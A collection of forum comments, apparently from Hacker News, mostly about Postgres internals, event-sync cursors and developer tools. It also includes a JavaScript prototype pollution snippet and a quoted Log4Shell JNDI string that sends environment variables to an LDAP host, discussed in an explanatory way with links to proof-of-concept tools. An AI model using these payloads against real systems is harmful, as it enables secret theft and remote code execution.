brasetvik

Atomic looks quite interesting, and the "wiki synthesis" is particularly interesting:

I've been working on a suite of skills and a tiny MCP (also SQLite + SQLite-vec based) where the focus is on making it easy to produce "atoms" from quick brain dumps.

The chunking problem is "bypassed" by declaring each section a chunk, and having the LLMs rewrite drafts to sections that chunk well. That means lots of redundancy, and no "As explained above".

The intended reader isn't a human, but rather agents that generate human-friendlier prose, for different target audiences. By assuming the reader is an "expert", the idea is that it's much cheaper to mass-produce reviewed "atoms".

Itching to try that workflow with Atomic or Tolaria.

Also recommend this free book: https://postgrespro.com/community/books/internals

pganalyze's blog is a goldmine of Postgres tidbits, a lot of which is recapped in their YouTube channel: https://www.youtube.com/@pganalyze6516

I'm not at all affiliated, just a happy consumer of their material.

Or from the other perspective of the trade-off: One caveat with MSSQL is that ALL concurrent transactions must pay the overhead if _some_ transactions need serializable guarantees?

A bit of birthday paradox too? :)

Nice job, eugene-khyst. Looks very comprehensive from an initial skim.

I've worked on something in the same space, with a focus on reliable but flexible synchronization to many consumers, where logical replication gets impractical.

I have a mind to do a proper writeup, but at least there is code at https://github.com/cognitedata/txid-syncing (MIT-licensed) and a presentation at https://vimeo.com/747697698

The README mentions …

A long-running transaction in the same database will effectively "pause" all event handlers.

… as the approach is based on the xmin-horizon.

My linked code works with involving the MVCC snapshot's xip_list as well, to avoid this gotcha.

Also, note that when doing a logical restore of a database, you're working with different physical txids, which complicates recovery. (So my approach relies on offsetting the txid and making sure the offset is properly maintained)

This is also a pretty cool presentation on the topic: https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-Ne...

Some overlap, but my similar post mentions a few other things too, with a lot of links to sources to learn more :)

https://medium.com/cognite/postgres-can-do-that-f221a8046e

Reading that thread it doesn't seem like the official image shipped with any cryptominer at any point, and that it's more likely that the container got compromised in other ways. (A compromised [superuser connection to Postgres can execute shell code](https://medium.com/r3d-buck3t/command-execution-with-postgre...), so that seems more likely than the image shipping with a miner)

Advisory locks are purely in-memory locks, while row locks might ultimately hit disk.

The memory space reserved for locks is finite, so if you were to have workers claim too many queue items simultaneously, you might get "out of memory for locks" errors all over the place.

Both advisory locks and regular locks are stored in a shared memory pool whose size is defined by the configuration variables max_locks_per_transaction and max_connections. Care must be taken not to exhaust this memory or the server will be unable to grant any locks at all. This imposes an upper limit on the number of advisory locks grantable by the server, typically in the tens to hundreds of thousands depending on how the server is configured.

– https://www.postgresql.org/docs/current/explicit-locking.htm...

It’s the wat I’ve seen have the most security impact.

Deep merging two JSON parsed objects is innocuous enough everywhere else that most don’t think twice about doing it. Lots of widely used libraries that provide deep merging utilities have had security vulnerabilities because of this.

I guess you could argue that the wat is that objects coming out of JSON.parse don’t have null as its prototype.

  >> JSON.parse("{}")["__proto__"]["A"] = "T"
  "T"
  >> W = {}
  Object {  }
  >> W.A
  "T"

I’d agree that ReDoS is a repeat offender in having overblown severity in vulnerability reports, and prototype pollution reports have contributed to a fair bit of noise when popping up in dev-tools and such, but prototype pollution can be quite significant.

Java has its “gadget chain” class of vulnerabilities, where the presence of certain jars can turn object deserialisation into RCEs. I’d argue that Javascript has “pollution gadgets”.

Some years ago I struggled making lodash – which almost any non-trivially sized Javascript project has at least a transitive dependency on (possibly multiple versions of) – fix its “gadget” in its template function. It’s since been patched, and the conversation unfortunately deleted - https://github.com/lodash/lodash/pull/4518

Here’s two real world examples of turning a prototype pollution into an RCE: https://hackerone.com/reports/852613 and https://hackerone.com/reports/861744

(If you’re unfamiliar with prototype pollution: This is possibly a security bug in Javascript: `obj[a][b] = c` if a user controls a, b and c.)

I made a similar resource (and a talk) with different kinds of tips, that also has a lot of links to learning more about the different topics: https://medium.com/cognite/postgres-can-do-that-f221a8046e

I think Blender is worth an honerable mention. :)

Geometry nodes, part of «everything Nodes», is pretty interesting: https://youtu.be/kMDB7c0ZiKA

It has long since been cleaned up, but the history of Lucene's Levenshtein automatons are a fascinating mix of pragmatism, hackery, grit, and engineering. Using a Python library to generate crazy-looking Java code, which you can't (yet) understand, but whose tests pass and benchmarks look amazing.

- https://blog.mikemccandless.com/2011/03/lucenes-fuzzyquery-i... - https://www.youtube.com/watch?v=4AbcvHKX8Ow

(Levenshtein distances are used as a measure between fuzzy/misspelled matches, and was ironically misspelled initially - https://lucene.apache.org/core/7_4_0/suggest/org/apache/luce...)

I don't know anything about their product, but their security team has been publishing high quality research, e.g. https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-p... and https://www.wiz.io/blog/chaosdb-explained-azures-cosmos-db-v...

It's not a single digit minute read, but to me "Git from the Bottom Up" was what really made me understand git a long time ago.

https://jwiegley.github.io/git-from-the-bottom-up/

git's the kind of tool where understanding how your commands operate on the underlying data structures will probably make it a lot easier to use efficiently. (And they're beautifully simple despite how powerful and flexible they are)

As a tool you might be using for hours per week for a few more decades, it's worth the investment going beyond the "in x minutes". I tend to provide both to juniors.

Obligatory: https://xkcd.com/1597/

In this system, the client would request a range (start time, max count) of events via an HTTP request, and the response would include the "end time" that can be used in the next query.

What happens if two transactions commit out of order? tx1 with a lower timestamp commits after tx2 with a higher timestamp has committed - and your client just saw tx2's timestamp.

Or if you have ≥$maxCount number of events changed the same exact timestamp?

Its was actually very surprising to me to find PG does not cache query plans but instead replans on every execution!

If you used prepared statements, `plan_cache_mode` (since Postgres >=12) can be configured.

It defaults to auto, which will generate a generic plan after 5 (iirc) executions.

If set to `force_generic_plan`, it'll make a generic plan right away. If set to `force_custom_plan`, it'll always do planning. The latter can be useful for queries where the parameters of the prepared statement can have very different selectivities.

Hadn't come across Braid yet. Looks interesting. Thanks for the link :)

Though to address the GP a bit, the problem of concurrent writers without a sequencer (like a database) is less common than you might think.

My point was that even if you have a single non-scaleout database with a single time source, a sequence or a timestamp or a combination of both isn't as reliable a sequencer as you might think, unless you have at most one writer.

Thus, I think a "standard" should encourage a cursor concept that can use something that may reliably provide _all_ changes. If you have a single writer, you have a pretty easy job implementing that, as a plain sequence would work. (A timestamp could still break on clock adjustments, though)

This pertains to the "data replication" part of the listed goals, where getting everything is more important than in e.g. a social media news feed style thing where chronological order may be tenable - or less consequential if an item is missed.

It'd be great to get a fairly standard way of doing this. :)

Having worked in this problem space a bit recently, I find this part a bit too optimistic:

The event.id is used as lastEventId to scroll through further events. This means that events need to be strongly ordered to retrieve subsequent events.

The example relies on time-ordered UUIDv6 and mentions time sync as a gotcha. This should work well if you only have a single writer.

Even with perfectly synced clocks, anything that lets you do _concurrent_ writes can still commit out of order, though.

Consider two transactions in a single-node-and-trivially-clock-synced Postgres, for example. If the first transaction that gets the lower timestamp commits after a second transaction that gets a higher timestamp, the second and higher timestamp might've been retrieved by a consumer already (it committed, so it's visible after all), and now you've missed writes. This is also (at least for Postgres, but I guess also in general) true for sequences.

The approach I'm currently pursuing involves having an opaque cursor that encodes enough of the MVCC information (i.e. Postgres' txid_current and xip_list) to be able to catch those situations. For a client, the cursor is opaque and they can't see the internals. For the server side, it's quite implementation specific, however. It still has the nice property that clients keep track on where they are, without the server keeping track of where the clients are, which is desirable if the downstream client can roll back e.g. due to recovery/restore from backup)

A base64-encoded (possibly encrypted) cursor can wrap whatever implementation specifics are needed and hide them from the client. That implementation could of course be a simple event id if the writing side is strictly serial.

You may enjoy https://krisp.ai/ which is noise cancellation not just on your end, but also for others via a virtual audio device.

No relation to them, just a happy customer.

The 4k does not. The 5k has a webcam, microphone and speakers.

But one thing that I haven't seen mentioned enough is that this only affects pretty old versions of java.

Recent versions were still susceptible to e.g. exfiltration of env vars, which may often contain secrets.

${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}

Yeah, `${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}`

That's good clarification, thanks.

I got the POC to RCE with `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true` seeming sufficient.

While still not great, I'd expect that to meaningfully reduce the severity for most, as that seems a pretty … odd option to enable.

Are there any mitigations in recent JVMs?

I tried reproducing this, and got the POC to hit the LDAP server, but it wouldn't load the test payload.

See also:

- https://github.com/tangxiaofeng7/apache-log4j-poc

- https://github.com/mbechler/marshalsec

- https://github.com/veracode-research/rogue-jndi

Minecraft servers were being actively exploited according to various tweets.

I can't remember seeing problems be more strongly worded than "Increased Error Rates" or "high error rates with S3 in us-east-1" during the infamous S3 outage of 2017 - and that was after they struggled to even update their own status page because of S3 being down. :)